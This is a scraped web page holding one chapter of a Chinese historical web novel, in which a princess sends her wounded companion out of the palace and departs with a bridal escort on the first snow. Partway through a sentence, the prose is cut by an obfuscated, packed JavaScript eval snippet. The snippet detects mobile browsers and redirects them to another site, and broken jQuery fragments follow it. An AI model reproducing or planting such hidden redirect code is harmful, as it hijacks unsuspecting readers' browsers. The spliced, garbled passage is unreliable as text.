默认冷灰
24号文字
方正启体

69. 出嫁初雪

作者:桃小满本书字数:K更新时间:
    天鹤躺在床上,气息微弱:“祖宗,我都差点死了,你还拿我打趣。”


    纪明霞笑着拧了把湿帕子,轻轻擦过她汗湿的额角:“什么死不死的,小齐医官妙手回春。要是真死在自己最擅长的外伤上,就没办法名垂青史了。”


    她放柔声音,又道:“江南好山好水,最是养人,你放心去吧。我们只是不顺路,终归会在江南再见的。”


    天鹤轻轻牵起嘴角:“好。不过你方才说错了,我就算留在宫里,也等不到二十五岁。以你的本事,打回来哪用的上十年。”


    她信纪明霞,她没见过纪明霞打败仗,相比在宫中蹉跎,她早盼着她重回疆场。


    可是她心里不踏实,总觉得这一别或许很难再见。


    纪明霞手上顿了顿,将帕子浸回水里,说道:“嗯,天鹤说得对。”她掖了掖被角,“先歇着吧,动身也不是这一两日的事。”


    这时承霁端着药进来,搁下碗,把声音压得低低的:“姐姐清醒的时候,一直嘱咐我要陪着你。去朔漠的路上让我跟着吧。”


    纪明霞试了试药温,递到她手中:“前些日子我看天鹤尽心教你,就猜到她有这个意思。不过最重要的还是你自己愿意。”


    承霁用力点头。


    纪明霞不想让承霁替下天鹤的位置,可是天鹤太了解她了,知道她随时都可能真刀真枪战上一场,身边若是连个通晓医理的人都没有,天鹤不会放心的。


    这也怪她,害这姑娘小小年纪就患上操心的病症。


    纪明霞走到窗边,望着斜织的雨丝。旱了整年,庄稼都枯在地里了,倒开始下起雨来。


    如今,连气候都如此反常。


    朝文武反对送她去朔漠的声音太微弱了,若不是连杜晚情都轻松知晓此事,她还以为是陆逍一个人的意思。他们上次这样齐心,恐怕还是拥立那小太子登基的时候。父皇消失近一年了,总不会又凭空捏出个孩子来吧……


    这念头实在荒唐。


    她敛了心神,唤来言竹:“知道玄凤歇在哪儿吗?请他过来一趟。”


    言竹颔首,不出半个时辰便将人带到。


    玄凤半边身子被雨淋湿,像是匆匆赶来的。纪明霞看向炭盆:“先烤烤火吧。这季节的雨冷得浸骨头,你也不当心些。”


    玄凤苦笑:“再过些日子该落雪了,怕是想沾雨也难了。”


    纪明霞没再多劝,让人沏了热茶,引他落座。


    待四周无人,玄凤正色道:“公主叫臣来,是准备好要逃出宫吗?”


    “我不走。”纪明霞没有回头,声音平静,“只想托你两件事,往后书院那边进出查得松些,等天鹤再好些,我要送她出去。”


    “混进书院学子里?这倒是个办法。”玄凤问,“那公主为何不一道走?”


    “我有别的打算。还有一事,”她转过身,“帮我拜托青鸟照看可人儿,她向来喜欢那猫。”


    玄凤点头,爽快答应下来,他沉默片刻,低声道:“护送公主去朔漠的人里,有我。”


    纪明霞思量须臾:“这安排倒有些意思。”


    玄凤等了良久,没等到她后话,心里有些不是滋味。


    他有家眷,不得不选个稳妥的立场。可若此刻公主理所当然地说一句“出宫后你放了我”,他大概又会妥协。


    会妥协的吧?


    可她没说。甚至一丝让他帮忙脱身的意思都没有,明明前些日子她还谋划着离开。


    纪明霞见玄凤沉默,问道:“你可知送亲队伍何时启程?”


    “月底。”玄凤声音低沉,“不知他们最近在周旋什么,如今打探消息比从前难了。太傅用我,可防我却比摄政王还要厉害。”


    纪明霞算了算日子:“好,知道了。你先回吧。”


    见她无话,玄凤起身欲走,临到门边又回头:“猫呢?”


    “被我当众丢了,眼下也不知她哪儿。得辛苦你和青鸟找找。”纪明霞想起那团雪白的身影,心里酸涩,“它若还是我的猫,恐怕没法安稳活下去。”


    玄凤点头:“找到后,我还是抱出宫养吧。”


    “也好。”纪明霞没拒绝。


    天鹤落水这些天,她什么都没多问。除了天鹤这样心软的,这宫里还有谁会在意一只猫的死活?她不信可人儿会自己跳进湖里,偏巧又在天鹤出宫的时候。可追问也没意义,猫不会说话,更不会有证词,就算有证词也没有判官。


    玄凤走后,纪明霞给天鹤备了一份细软,是两串成色极好的翡翠珠子。这东西能拆散了慢慢换银子,还不占分量。再多的她也不敢给,怕小姑娘守不住。


    彩绮阁的库房里还收着许多母亲留下的旧物,她一一清点,觉得留在宫中实在是便宜了旁人。


    她吩咐道:“言竹,去珍宝阁要几个箱子来,越大越好。”


    言竹会意,即刻去办。


    搬箱子实在惹眼,很快招来了不速之客。


    陆逍进门时,正见彩绮阁院内敞着四个箱子,里头珠光潋滟。细看都是寻常玩物,可他脸色仍沉了下来:“公主这是在给自己备嫁妆?就这么急着嫁过去?”


    “这是亡母遗物。”纪明霞语声低缓。


    陆逍扫过那堆东西,眼底狐疑未消。


    “亡母又不是只能有一件遗物。”纪明霞抬眼,“再说,长信宫那么多东西我都没动,已经够收敛了。你若想让我老老实实出嫁,最好别拦我。”


    她原以为陆逍会命人查验扣下不少好东西,已经开始心疼,这些东西换成白花花的银子,可都是军饷。


    可陆逍最终没有。


    他只是在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903219|187983||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    院中站了一会儿,便一言不发,拂袖而去。


    纪明霞没理会这反常,反倒变本加厉将剩余物件也收整起来。彩绮阁被搬得空空荡荡,惹得宫人暗暗咋舌。


    十月底,天鹤不再反复高热。在杜晚情与玄凤安排下,她扮作一位商户家小姐的侍女,随车出了宫。


    纪明霞辞别时未再煽情,只修书托南川苏溪两郡郡守照拂,为她安置一处僻静农院。


    天鹤离开后,承霁将自己的名字,一笔一画填进了陪嫁礼册。


    宫中凭空消失一人,并未掀起什么风波,只是彩绮阁的看守愈发严了。


    纪明霞也未在搞什么动作,如今变数太多,与外界更是没什么联系,实在没法提前计划。


    婚期定在十一月中,送亲前日,京都落了初雪。


    夜里,陆逍披着黑氅又至彩绮阁。纪明霞看不透他意图——他那双眼里野心昭然,却并无几分送别之意。


    他手中握着那杆她最趁手的红缨枪,平静道:“公主,枪还你,要用它杀了我吗?”


    纪明霞轻笑:“要杀你,但不是现在。”


    陆逍也笑了:“晚了可就没机会了。”


    纪明霞接过银枪,随手舞了几下,又重重立在地上。


    院中,雪影纷乱。


    她搓了搓冻僵的手,喃喃道:“天好冷啊,陆鸣野。”


    陆逍沉默片刻,道:“春天会回来的。”


    天色未明,送亲仪仗便静悄悄地出了宫门。


    没有喧天锣鼓,没有百姓夹道。车轮碾过覆雪御街,声音沉闷而绵长。街道两旁的店铺大多紧闭,檐下挂着滴水的冰凌。偶尔有早起的老者推开半扇门,沉默地望着这列过于安静的红幔车队驶过。


    北虞就这样荒诞地,将最后一位公主送出了京都。


    纪明霞悄然回望,只觉皇城不过是一道躯壳。


    她没穿嫁衣,倒不是忌讳这东西,只是临到最后陆逍都没把那身红衣给她而已。


    他不给,她也不打算要,便衣舒适,也方便施展拳脚。


    送亲的队伍中,眼熟的只有玄凤,但领队的似乎另有其人。


    车队行得很慢,像是刻意为之。


    行至京郊,玄凤寻隙靠近车帘,低声对里面道:“公主,到了栖霞关,您就走吧。再往北,路就不顺了。”


    纪明霞撩起车帘,唇角微扬:“要不我假意与你打一架,你佯装战败,就不用牵连家眷了。”


    玄凤脸涨得通红,这确实是最合理的办法,可实在是有些丢人。


    他清了清嗓子,说道:“到栖霞关再说。”


    纪明霞撂下车帘,半倚着软垫,盘算起对策。原本她确是想在此处南下,可是她知道,玄凤也知道,那旁人大约也会设防,如此,倒是行不通了......
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)